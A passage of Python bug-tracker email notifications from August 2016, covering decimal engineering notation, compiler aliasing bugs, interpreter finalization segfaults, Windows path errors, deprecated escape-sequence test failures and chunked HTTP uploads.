<1470902120.27.0.574991312095.issue26223@psf.upfronthosting.co.za> Antti Haapala added the comment: Indeed engineering notation is now utterly broken, the engineering notation is not printed for pretty much _any *engineering* numbers at all_ in 3.6. Engineering numbers mean numbers that could be met in an *engineering* context, not cosmological! ---------- nosy: +ztane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 03:57:28 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 07:57:28 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470902248.42.0.596244254822.issue27720@psf.upfronthosting.co.za> Stefan Krah added the comment: @Antti The behavior follows this standard: http://speleotrove.com/decimal/decarith.html Nothing we can do about it even if we wanted to. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:03:53 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 08:03:53 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1453922113.08.0.48679853518.issue26223@psf.upfronthosting.co.za> Message-ID: <1470902633.63.0.696410052831.issue26223@psf.upfronthosting.co.za> Stefan Krah added the comment: @Antti Please think before you write and stop making unfounded allegations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:12:06 2016 From: report at bugs.python.org (Nofar Schnider) Date: Thu, 11 Aug 2016 08:12:06 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1470903126.26.0.706800017882.issue27706@psf.upfronthosting.co.za> Nofar Schnider added the comment: On it! ---------- nosy: +Nofar Schnider _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:14:03 2016 From: report at bugs.python.org (REIX Tony) Date: Thu, 11 Aug 2016 08:14:03 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470903243.78.0.852929362663.issue27725@psf.upfronthosting.co.za> REIX Tony added the comment: Hi Raymond I've got several email exchanges with the IBM XLC expert. From his own study of my issue, his conclusion is that this kind of Python v2 coding is not ANSI-aliasing safe. It seems that there is a standard that requires C code to NOT do some kinds of coding so that any C compiler optimizer can do its best. The issue was not there with XLC v12.1.0.14 and -O2. It appeared with XLC v13.1.3.2 and -O2 since XLC v13 optimizer is more agressive. About GCC, I've not experimented yet with it for now (will do later today I hope), but the impact should be the same according to the optimizer level and improvements. Here is what IBMer Steven said: "I found the problem. It is not a problem with the compiler, but a problem with the source code/option set. It is an ansi aliasing violation. I'll try to provide as much detail as I can to explain it. At line 2512 of Objects/longobject.c, we have the following code: if (sign < 0) z->ob_size = -(z->ob_size); return long_normalize(z); Note that we use z->ob_size to access size, and the type of z is "PyLongObject *". This value is loaded in long_normalization. After we inline this function call, the compiler moves the load done in long_normalization above the if statement (past the store that writes to it), which is why we ends up with the wrong sign. Now the question is why does the compiler think that this is legal ? In long_normalize, the size is obtained using a macro Py_SIZE(v) (line 47). This macro expands to: (((PyVarObject*)(v))->ob_size) Notice that the pointer is cast to something of type PyVarObject*. PyVarObject and PyLongObject are not compatible types, and, because ansi aliasing is assumed, the compiler believes they do not reference the same memory. Therefore it is safe to move. A simple solution is to use "-qalias=noansi" when compiling. That will work, but could also hurt performance. The other solution is to use either Py_SIZE all of the time to access the memory or never. Do not mix and match. This will require some code changes. I'll leave it to you to figure out how to handle it, but my guess is that Py_SIZE is supposed to always be used. The comments in "object.h" lines 11-17 include this phrase "they must be accessed through special macros and functions only." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:17:22 2016 From: report at bugs.python.org (Ram Vallury) Date: Thu, 11 Aug 2016 08:17:22 +0000 Subject: [issue27735] 'module' object has no attribute 'SIGALRM' - singal module Message-ID: <1470903442.61.0.511890043327.issue27735@psf.upfronthosting.co.za> New submission from Ram Vallury: 'module' object has no attribute 'SIGALRM' SIGALRM is not identified in windows, python 2.7. There is no explicit mention of this in documentation as well. === $ python Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:32:19) [MSC v.1500 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import signal >>> def handler(signum, frame): ... print 'Signal handler called with signal', signum ... raise IOError("Couldn't open device!") ... >>> signal.signal(signal.SIGALRM, handler) Traceback (most recent call last): File "", line 1, in AttributeError: 'module' object has no attribute 'SIGALRM' >>> ==== ---------- components: Windows messages: 272420 nosy: paul.moore, rvallury, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: 'module' object has no attribute 'SIGALRM' - singal module type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:28:12 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 11 Aug 2016 08:28:12 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470904092.36.0.761536099623.issue27725@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +loewis, tim.peters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:29:55 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 08:29:55 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470904195.55.0.809407311348.issue27725@psf.upfronthosting.co.za> Stefan Krah added the comment: In 2.7 we use -fno-strict-aliasing and -fwrapv for gcc. I think it is probably required to use the equivalent options for xlc. These are examples of things that have been cleaned up in 3.x. 2.7 actually relies on these options. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:40:19 2016 From: report at bugs.python.org (Nofar Schnider) Date: Thu, 11 Aug 2016 08:40:19 +0000 Subject: [issue12345] Add math.tau In-Reply-To: <1308193830.26.0.803614362003.issue12345@psf.upfronthosting.co.za> Message-ID: <1470904819.18.0.837846117481.issue12345@psf.upfronthosting.co.za> Nofar Schnider added the comment: I agree with Raymond. In my opinion, it doesn't seem like there is a need to add such a constant. I know many of my previous and current colleagues would not use it (why should them if they can just write "2 * math.pi" ?) It seems that the efforts to spread the word that Pi is wrong and Tau is right haven't "bear fruits". For now I don't think we should make such a strong stand in adding it. If we do add new constants they should be of calculations that are harder and might ruin the code's visibility. https://www.explainxkcd.com/wiki/images/0/08/pi_vs_tau.png ---------- nosy: +Nofar Schnider _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:46:27 2016 From: report at bugs.python.org (Simon McVittie) Date: Thu, 11 Aug 2016 08:46:27 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults Message-ID: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> New submission from Simon McVittie: dbus-python has a regression test for https://bugs.freedesktop.org/show_bug.cgi?id=23831 which repeatedly initializes the interpreter, imports dbus and finalizes the interpreter. This test passes in Python up to 3.5, but is failing under Python 3.6 nightly builds on Travis-CI, and in Python 3.6.0a3 (package version 3.6.0~a3-1) on Debian. I've been able to reproduce the crash without anything specific to dbus with this C code: #include #include int main(void) { int i; puts("1..1"); for (i = 0; i < 100; ++i) { Py_Initialize(); if (PyRun_SimpleString("\n") != 0) { puts("not ok 1 - there was an exception"); return 1; } Py_Finalize(); } puts("ok 1 - was able to loop 100 times"); return 0; } It appears the crash is reliably in the 10th repeat: Program received signal SIGSEGV, Segmentation fault. 0x00007ffff783a4bb in type_dealloc (type=0x7ffff7d8ad80 ) at ../Objects/typeobject.c:3032 3032 ../Objects/typeobject.c: No such file or directory. (gdb) bt #0 0x00007ffff783a4bb in type_dealloc (type=0x7ffff7d8ad80 ) at ../Objects/typeobject.c:3032 #1 0x00007ffff7817a1b in insertdict (value=, hash=, key=, mp=) at ../Objects/dictobject.c:806 #2 PyDict_SetItem ( op=op at entry={'open': None, 'O_DIRECT': None, 'chdir': None, 'O_ACCMODE': None, '__package__': None, 'WCOREDUMP': None, 'setgroups': None, 'O_CREAT': None, 'O_CLOEXEC': None, 'chown': None, 'sched_getscheduler': None, 'RTLD_NODELETE': None, 'terminal_size': None, 'EX_IOERR': None, 'sched_setaffinity': None, 'XATTR_SIZE_MAX': None, 'fstat': None, 'sched_rr_get_interval': None, 'O_LARGEFILE': None, 'times_result': None, 'get_inheritable': None, 'WIFEXITED': None, 'ST_NODEV': None, 'forkpty': None, 'ctermid': None, 'O_RSYNC': None, 'SCHED_FIFO': None, 'stat': None, 'replace': None, 'EX_NOINPUT': None, 'WUNTRACED': None, 'set_blocking': None, '_have_functions': None, 'unsetenv': None, 'setresgid': None, 'fchown': None, 'getgrouplist': None, 'openpty': None, 'lockf': None, 'chroot': None, 'readv': None, 'EX_NOHOST': None, 'error': None, 'WEXITSTATUS': None, 'WIFSIGNALED': None, 'WNOHANG': None, 'POSIX_FADV_WILLNEED': None, 'SEEK_HOLE': None, 'dup': None, 'POSIX_FADV_NOREUSE': None, 'kill': None, 'statvfs_result': None, 'WIFCON...(truncated), key='DirEntry', value=value at entry=None) at ../Objects/dictobject.c:1228 #3 0x00007ffff782659c in _PyModule_ClearDict ( d={'open': None, 'O_DIRECT': None, 'chdir': None, 'O_ACCMODE': None, '__package__': None, 'WCOREDUMP': None, 'setgroups': None, 'O_CREAT': None, 'O_CLOEXEC': None, 'chown': None, 'sched_getscheduler': None, 'RTLD_NODELETE': None, 'terminal_size': None, 'EX_IOERR': None, 'sched_setaffinity': None, 'XATTR_SIZE_MAX': None, 'fstat': None, 'sched_rr_get_interval': None, 'O_LARGEFILE': None, 'times_result': None, 'get_inheritable': None, 'WIFEXITED': None, 'ST_NODEV': None, 'forkpty': None, 'ctermid': None, 'O_RSYNC': None, 'SCHED_FIFO': None, 'stat': None, 'replace': None, 'EX_NOINPUT': None, 'WUNTRACED': None, 'set_blocking': None, '_have_functions': None, 'unsetenv': None, 'setresgid': None, 'fchown': None, 'getgrouplist': None, 'openpty': None, 'lockf': None, 'chroot': None, 'readv': None, 'EX_NOHOST': None, 'error': None, 'WEXITSTATUS': None, 'WIFSIGNALED': None, 'WNOHANG': None, 'POSIX_FADV_WILLNEED': None, 'SEEK_HOLE': None, 'dup': None, 'POSIX_FADV_NOREUSE': None, 'kill': None, 'statvfs_result': None, 'WIFCON...(truncated)) at ../Objects/moduleobject.c:593 #4 0x00007ffff782672e in _PyModule_Clear (m=m at entry=) at ../Objects/moduleobject.c:544 #5 0x00007ffff78d5874 in PyImport_Cleanup () at ../Python/import.c:452 #6 0x00007ffff78e3a38 in Py_FinalizeEx () at ../Python/pylifecycle.c:588 #7 0x0000000000400795 in main () at /home/smcv/src/dbus-python/test/import-repeatedly.c:19 (gdb) frame 7 #7 0x0000000000400795 in main () at /home/smcv/src/dbus-python/test/import-repeatedly.c:19 19 Py_Finalize(); (gdb) p i $1 = 10 ---------- components: Interpreter Core messages: 272423 nosy: smcv priority: normal severity: normal status: open title: repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults type: crash versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:48:20 2016 From: report at bugs.python.org (Simon McVittie) Date: Thu, 11 Aug 2016 08:48:20 +0000 Subject: [issue27736] repeated Py_Initialize/PyRun_SimpleString/Py_Finalize segfaults In-Reply-To: <1470905187.92.0.13440650895.issue27736@psf.upfronthosting.co.za> Message-ID: <1470905300.78.0.0634783100443.issue27736@psf.upfronthosting.co.za> Simon McVittie added the comment: This might be a duplicate of https://bugs.python.org/issue24853 but there wasn't enough detail on that bug for me to be sure. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:51:36 2016 From: report at bugs.python.org (Simon McVittie) Date: Thu, 11 Aug 2016 08:51:36 +0000 Subject: [issue24853] Py_Finalize doesn't clean up PyImport_Inittab In-Reply-To: <1439431834.18.0.462174995045.issue24853@psf.upfronthosting.co.za> Message-ID: <1470905496.93.0.77809803645.issue24853@psf.upfronthosting.co.za> Simon McVittie added the comment: http://bugs.python.org/issue27736 might be related, or even a duplicate of this. ---------- nosy: +smcv _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 04:57:42 2016 From: report at bugs.python.org (Ronald Oussoren) Date: Thu, 11 Aug 2016 08:57:42 +0000 Subject: [issue27735] 'module' object has no attribute 'SIGALRM' - singal module In-Reply-To: <1470903442.61.0.511890043327.issue27735@psf.upfronthosting.co.za> Message-ID: <1470905862.35.0.101605634399.issue27735@psf.upfronthosting.co.za> Ronald Oussoren added the comment: The documentation for the "SIG*" constants says: """ Note that not all systems define the same set of signal names; only those names defined by the system are defined by this module. """ ---------- nosy: +ronaldoussoren _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:10:29 2016 From: report at bugs.python.org (Eryk Sun) Date: Thu, 11 Aug 2016 09:10:29 +0000 Subject: [issue27729] Provide a better error message when the file path is too long on Windows In-Reply-To: <1470869995.82.0.0225093644584.issue27729@psf.upfronthosting.co.za> Message-ID: <1470906629.69.0.542496610626.issue27729@psf.upfronthosting.co.za> Eryk Sun added the comment: The NT runtime API RtlDosPathNameToRelativeNtPathName_U_WithStatus returns an informative error code, STATUS_NAME_TOO_LONG (0xC0000106). This gets translated to the less information but still useful Windows code ERROR_PATH_NOT_FOUND (0x0003). The CRT error table reduces this to ENOENT, so it's not readily distinguishable from ERROR_FILE_NOT_FOUND (0x0002). The associated Windows error is still available via GetLastError when wopen returns: ucrtbase!wopen+0x22: 00007ffb`222b5702 c3 ret 0:000> ?? @$teb->LastErrorValue unsigned long 3 Currently io.FileIO calls PyErr_SetFromErrnoWithFilenameObjects. It could check for ERROR_PATH_NOT_FOUND when errno is ENOENT. In this case it could use a custom error message such as "No such path or path exceeds the maximum allowed length". ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:17:10 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 11 Aug 2016 09:17:10 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1453922113.08.0.48679853518.issue26223@psf.upfronthosting.co.za> Message-ID: <1470907030.22.0.739864207461.issue26223@psf.upfronthosting.co.za> Antti Haapala added the comment: Ok, after reading the "spec" it seems that the engineering exponent is indeed printed for positive exponents *if* the precision of the number is less than the digits of the exponent, which I didn't realize that I should be testing. However the *precision* of decimals is meaningless anyhow. Add a very precisely measured '0e0' to any number and the sum also has exponent of 0, and is thus never displayed in exponential notation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:29:43 2016 From: report at bugs.python.org (REIX Tony) Date: Thu, 11 Aug 2016 09:29:43 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470822697.33.0.602349991034.issue27725@psf.upfronthosting.co.za> Message-ID: <1470907783.96.0.242477861386.issue27725@psf.upfronthosting.co.za> REIX Tony added the comment: Thanks a lot Stefan, that should completely explain my issues. -fno-strict-aliasing -fwrapv for gcc So, that means that you would get better performance if you applied on Python v2.7 what Python v3.5 did about Py_SIZE(x) . However, there are probably other places where the aliasing issue still appears in v2.7 . Hummm I'll use -qalias=noansi with XLC and see what happens. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:35:45 2016 From: report at bugs.python.org (Antti Haapala) Date: Thu, 11 Aug 2016 09:35:45 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470908145.17.0.995434016121.issue27720@psf.upfronthosting.co.za> Antti Haapala added the comment: @Stefan after reading the bad standard I agree that it follows the standard, as unfortunate as it is. However, that part is then also wrong in Raymond's documentation patch. It should be something like: the exponent is adjusted to a multiple of 3 if *any* exponent is to be shown, and exponent is shown only if the exponent is larger than there are significant figures in the number, or if it is less than or equal to -6, or something alike. Or perhaps it should say "This is not the notation you are looking for." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:41:10 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 09:41:10 +0000 Subject: [issue26223] decimal.to_eng_string() does not implement engineering notation in all cases. In-Reply-To: <1470907030.22.0.739864207461.issue26223@psf.upfronthosting.co.za> Message-ID: <20160811094058.GA19098@bytereef.org> Stefan Krah added the comment: On Thu, Aug 11, 2016 at 09:17:10AM +0000, Antti Haapala wrote: > However the *precision* of decimals is meaningless anyhow. Add a very precisely measured '0e0' to any number and the sum also has exponent of 0, and is thus never displayed in exponential notation. It is not meaningless and actually one of the most important features of decimal: >>> x = Decimal("3.6") >>> y = Decimal("0.0000000000000000000000") # number "measured" with ridiculous precision >>> x.to_eng_string() '3.6' >>> (x + y).to_eng_string() '3.6000000000000000000000' >>> x = Decimal("3.6") >>> y = Decimal("0e-7") # perhaps more realistic >>> (x + y).to_eng_string() '3.6000000' If you have confidence in your measurement, you have to let decimal know by actually spelling it out. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 05:46:26 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 09:46:26 +0000 Subject: [issue27725] Use Py_SIZE(x) instead of x->ob_size In-Reply-To: <1470907783.96.0.242477861386.issue27725@psf.upfronthosting.co.za> Message-ID: <20160811094615.GA19207@bytereef.org> Stefan Krah added the comment: On Thu, Aug 11, 2016 at 09:29:44AM +0000, REIX Tony wrote: > -fno-strict-aliasing -fwrapv for gcc > > So, that means that you would get better performance if you applied on Python v2.7 what Python v3.5 did about Py_SIZE(x) . > However, there are probably other places where the aliasing issue still appears in v2.7 . I doubt that you'll see any measurable performance difference. The main inefficiencies in Python aren't that low-level: They are in the interpreter loop. > Hummm I'll use -qalias=noansi with XLC and see what happens. Yes, and also use -fwrapv or similar. Otherwise you might get other issues that are hard to track down. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 06:14:19 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 10:14:19 +0000 Subject: [issue27720] decimal.Context.to_eng_string wrong docstring In-Reply-To: <1470763519.71.0.509753850108.issue27720@psf.upfronthosting.co.za> Message-ID: <1470910459.93.0.518807760437.issue27720@psf.upfronthosting.co.za> Stefan Krah added the comment: > after reading the bad standard ... Make sure not to buy a Power 6 processor and not to use IEEE 754-2008, because that's essentially what you'll get. IEEE doesn't specify engineering notation though. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 06:16:36 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 10:16:36 +0000 Subject: [issue27506] make bytes/bytearray delete a keyword argument In-Reply-To: <1468403337.28.0.33019551319.issue27506@psf.upfronthosting.co.za> Message-ID: <1470910596.56.0.0830155643881.issue27506@psf.upfronthosting.co.za> Martin Panter added the comment: Serhiy, you assigned this to yourself. What do you think of my patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 06:20:26 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 10:20:26 +0000 Subject: [issue26578] Bad BaseHTTPRequestHandler response when using HTTP/0.9 In-Reply-To: <1458200556.85.0.71774056033.issue26578@psf.upfronthosting.co.za> Message-ID: <1470910826.13.0.744733132843.issue26578@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- dependencies: +Remove HTTP 0.9 server support _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 06:31:37 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 10:31:37 +0000 Subject: [issue10721] Remove HTTP 0.9 server support In-Reply-To: <1292523705.43.0.300913774105.issue10721@psf.upfronthosting.co.za> Message-ID: <1470911497.79.0.234334291451.issue10721@psf.upfronthosting.co.za> Martin Panter added the comment: There are a few small benefits from removing it, but I am not too fussed if we decide to leave it. * If we keep it, should we fix it so that it doesn?t deadlock? Otherwise, we carry around buggy and untested code that claims to be a HTTP 0.9 server but isn?t. Keeping it as it is doesn?t feel ?clean? to me. * Easy way to resolve bug reports like Issue 26578. * Potentially slightly easier to maintain the rest of the code in the future. If we do keep it, I would like to add comments clarifying that it does not implement the real HTTP 0.9 protocol. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 06:32:22 2016 From: report at bugs.python.org (Berker Peksag) Date: Thu, 11 Aug 2016 10:32:22 +0000 Subject: [issue27558] SystemError with bare `raise` in threading or multiprocessing In-Reply-To: <1468823203.61.0.708048243679.issue27558@psf.upfronthosting.co.za> Message-ID: <1470911542.07.0.843119727703.issue27558@psf.upfronthosting.co.za> Berker Peksag added the comment: Raymond, please stop hijacking issues. This doesn't have anything to do with multiprocessing and there are already four core developers in the nosy list. If you really want to assign it to someone else, please at least wait for a month or ask if they have time to commit the patch first. Unless I'm missing something, this doesn't look like a release blocker to me and definitely doesn't look like some 6 years old ancient issue (the first message was posted three weeks ago) so there is no urgency here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 07:01:36 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 11:01:36 +0000 Subject: [issue16764] Make zlib accept keyword-arguments In-Reply-To: <1356353108.66.0.0747083241018.issue16764@psf.upfronthosting.co.za> Message-ID: <1470913296.19.0.118927289817.issue16764@psf.upfronthosting.co.za> Martin Panter added the comment: Xiang?s patch looks okay from a correctness point of view ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 07:03:52 2016 From: report at bugs.python.org (Rolf Krahl) Date: Thu, 11 Aug 2016 11:03:52 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470913432.39.0.459734816042.issue12319@psf.upfronthosting.co.za> Rolf Krahl added the comment: Ok, here comes the next version of the patch. I made the changes discussed in the last post and addressed the review comments. Looks like we are converging towards a final version. ---------- Added file: http://bugs.python.org/file44076/issue12319_11.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 07:56:28 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 11:56:28 +0000 Subject: [issue27364] Deprecate invalid unicode escape sequences In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za> Message-ID: <1470916588.44.0.949188350124.issue27364@psf.upfronthosting.co.za> Martin Panter added the comment: I am trying out your patch at the moment. There are plenty of test suite failures; I ran the test suite with approximately the following: ./python -bWerror -m test -Wr -j0 -u network -x test_{mailbox,shelve,faulthandler,multiprocessing_main_handling,venv,warnings} Importing modules sometimes fails or generates the warning, but this goes away if the file is not out of date. E.g. run ?touch Lib/test/test_codecs.py?, and then make sure you next import that module with -Wall or -Werror enabled. 374 tests OK. 10 tests failed: test___all__ test_ast test_codecs test_doctest test_fstring test_idle test_strlit test_trace test_unicode test_zipimport_support I started pasting some of the failures here, but gave up as more and more failed. Let me know if you want the full details. ====================================================================== ERROR: test_coverage (test.test_trace.TestCoverage) ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test_trace.py", line 312, in test_coverage self._coverage(tracer) File "/media/disk/home/proj/python/cpython/Lib/test/test_trace.py", line 307, in _coverage r.write_results(show_missing=True, summary=True, coverdir=TESTFN) File "/media/disk/home/proj/python/cpython/Lib/trace.py", line 284, in write_results lnotab = _find_executable_linenos(filename) File "/media/disk/home/proj/python/cpython/Lib/trace.py", line 403, in _find_executable_linenos code = compile(prog, filename, "exec") DeprecationWarning: invalid escape sequence 'w' ********************************************************************** File "/media/disk/home/proj/python/cpython/Lib/test/test_doctest.py", line 288, in test.test_doctest.test_DocTest Failed example: docstring = ''' >>> print(12) 12 Non-example text. >>> print('another\example') another example ''' Exception raised: Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/doctest.py", line 1330, in __run compileflags, 1), test.globs) DeprecationWarning: invalid escape sequence 'e' ********************************************************************** [Many subsequent NameError exceptions from test_doctest] ********************************************************************** File "/tmp/tmphzbypj98/test_zip.zip/test_zipped_doctest.py", line 288, in test_zipped_doctest.test_DocTest Failed example: docstring = ''' >>> print(12) 12 Non-example text. >>> print('another\example') another example ''' Exception raised: Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/doctest.py", line 1330, in __run compileflags, 1), test.globs) DeprecationWarning: invalid escape sequence 'e' ********************************************************************** [More failures] ====================================================================== FAIL: test_all (test.test___all__.AllTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test___all__.py", line 105, in test_all self.check_all(modname) File "/media/disk/home/proj/python/cpython/Lib/test/test___all__.py", line 28, in check_all raise FailedImport(modname) File "/media/disk/home/proj/python/cpython/Lib/contextlib.py", line 89, in __exit__ next(self.gen) File "/media/disk/home/proj/python/cpython/Lib/test/support/__init__.py", line 1130, in _filterwarnings raise AssertionError("unhandled warning %s" % reraise[0]) AssertionError: unhandled warning {message : DeprecationWarning("invalid escape sequence '('",), category : 'DeprecationWarning', filename : '/media/disk/home/proj/python/cpython/Lib/importlib/_bootstrap.py', lineno : 222, line : None} ====================================================================== ERROR: test_escape_order (test.test_fstring.TestCase) (str='f\'{"a"\\!r}\'') ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test_fstring.py", line 20, in assertAllRaise eval(str) DeprecationWarning: invalid escape sequence '!' ====================================================================== ERROR: test_escape (test.test_codecs.EscapeDecodeTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test_codecs.py", line 1218, in test_escape decode(b"\\" + b) OverflowError: character argument not in range(0x110000) ====================================================================== ERROR: test_escape_decode (test.test_codecs.UnicodeEscapeTest) ---------------------------------------------------------------------- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/test_codecs.py", line 2467, in test_escape_decode check(br"[\8]", r"[\8]") File "/media/disk/home/proj/python/cpython/Lib/test/test_codecs.py", line 26, in check self.assertEqual(coder(input), (expect, len(input))) DeprecationWarning: invalid escape sequence '8' test test_unicode crashed -- Traceback (most recent call last): File "/media/disk/home/proj/python/cpython/Lib/test/libregrtest/runtest.py", line 167, in runtest_inner the_module = importlib.import_module(abstest) File "/media/disk/home/proj/python/cpython/Lib/importlib/__init__.py", line 126, in import_module return _bootstrap._gcd_import(name[level:], package, level) File "", line 996, in _gcd_import File "", line 979, in _find_and_load File "", line 968, in _find_and_load_unlocked File "", line 673, in _load_unlocked File "", line 663, in exec_module File "", line 770, in get_code File "", line 730, in source_to_code File "", line 222, in _call_with_frames_removed DeprecationWarning: invalid escape sequence '?' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 08:11:45 2016 From: report at bugs.python.org (Stefan Krah) Date: Thu, 11 Aug 2016 12:11:45 +0000 Subject: [issue27502] Python -m Module Vulnerable to Buffer Over Flow. In-Reply-To: <1468350573.84.0.544949544506.issue27502@psf.upfronthosting.co.za> Message-ID: <1470917505.79.0.54370803681.issue27502@psf.upfronthosting.co.za> Stefan Krah added the comment: Your "buffer overflow" png shows the regular "414 request-uri too large" traceback. A traceback is not a crash (I wonder if we need an faq for this). ---------- nosy: +skrah resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 08:15:41 2016 From: report at bugs.python.org (Emanuel Barry) Date: Thu, 11 Aug 2016 12:15:41 +0000 Subject: [issue27364] Deprecate invalid unicode escape sequences In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za> Message-ID: <1470917741.79.0.80389234637.issue27364@psf.upfronthosting.co.za> Emanuel Barry added the comment: Hmm, that's odd, I recall some of the failures from testing, and thought I fixed them. Some of these are brand new, though, so thanks! I'll run and fix the tests (and modules as well); should likely have a patch by the weekend :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 08:25:46 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 12:25:46 +0000 Subject: [issue12319] [http.client] HTTPConnection.request not support "chunked" Transfer-Encoding to send data In-Reply-To: <1307875633.83.0.874379254828.issue12319@psf.upfronthosting.co.za> Message-ID: <1470918346.77.0.745528906855.issue12319@psf.upfronthosting.co.za> Martin Panter added the comment: I am pretty happy with the latest patch. I left one comment. I will try to give it a more thorough review and actually test it out at some point, but I don?t anticipate any major problems. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Aug 11 08:52:34 2016 From: report at bugs.python.org (Martin Panter) Date: Thu, 11 Aug 2016 12:52:34 +0000 Subject: [issue15495] enable type truncation warnings for gcc builds In-Reply-To: <1343612990.44.0.366704900621.issue15495@psf.upfronthosting.co.za> Message-ID: <1470919954.63.0.319852089724.issue15495@psf.upfronthosting.co.za> Martin Panter added the comment: Issue 23545 has a patch with some comments from me about adding other warnings via ?autoconf foo?, so you could copy from that if you want. The few warnings that I glanced at do not look troublesome. But maybe it is worth working around them to see other warnings; I dunno. Adding explicit casts can sometimes hide other bugs. Anyway, here is a random selection of some warnings: Modules/sha256module.c:198:44: warning: conversion to ?SHA_INT32 {aka 